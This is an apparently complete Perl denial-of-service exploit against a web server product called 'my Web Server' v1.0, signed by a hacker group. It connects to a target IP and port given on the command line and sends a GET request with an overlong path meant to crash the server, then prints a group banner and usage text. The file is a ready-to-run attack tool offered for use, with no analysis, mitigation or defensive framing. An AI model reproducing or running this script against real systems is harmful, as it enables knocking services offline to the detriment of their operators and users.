myWebServer-1.0.txt

`#!/usr/bin/perl  
#my Web Server << v-1.0 Denial of Service Exploit  
#vendor : Eitsop.s5.com  
use IO::Socket;  
use strict;  
  
my($socket) = "";  
  
if($socket = IO::Socket::INET->new(  
PeerAddr => $ARGV[0],  
PeerPort => $ARGV[1],  
Proto => "TCP"))  
{  
print "++++++++++++++++++++++++++++++\n";  
print "Connecting to $ARGV[0]:$ARGV[1] ...\n";  
print "++++++++++++++++++++++++++++++\n";  
print "Exploit Send successfuly!!\n";  
print "++++++++++++++++++++++++++++++\n";  
print $socket "GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HTTP/1.0\r\n\r\n";  
close($socket);  
}  
else  
{  
print "++++++++++++++++++++++++++++++++++++++++++++++++++++\n";  
print " ___ ___ __ \n";  
print " / | \_____ ____ | | __ ___________________ \n";  
print "/ ~ \__ \ _/ ___\| |/ // __ \_ __ \___ / \n";  
print "\ Y // __ \\ \___| <\ ___/| | \// / \n";  
print " \___|_ /(____ )\___ >__|_ \\___ >__| /_____ \ \n";  
print " \/ \/ \/ \/ \/ \/ \n";  
print " Iran Hackerz Security Team \n";  
print " WebSite's: www.hackerz.ir & www.h4ckerz.com \n";  
print "++++++++++++++++++++++++++++++++++++++++++++++++++++\n";  
print "[Usage]perl myws.pl <IP> <Port> \n";  
print "++++++++++++++++++++++++++++++++++++++++++++++++++++\n";  
print "[Status]Can Not Connect To >> $ARGV[0]:$ARGV[1] \n";  
print "++++++++++++++++++++++++++++++++++++++++++++++++++++\n";  
}  
#EoF  
  
`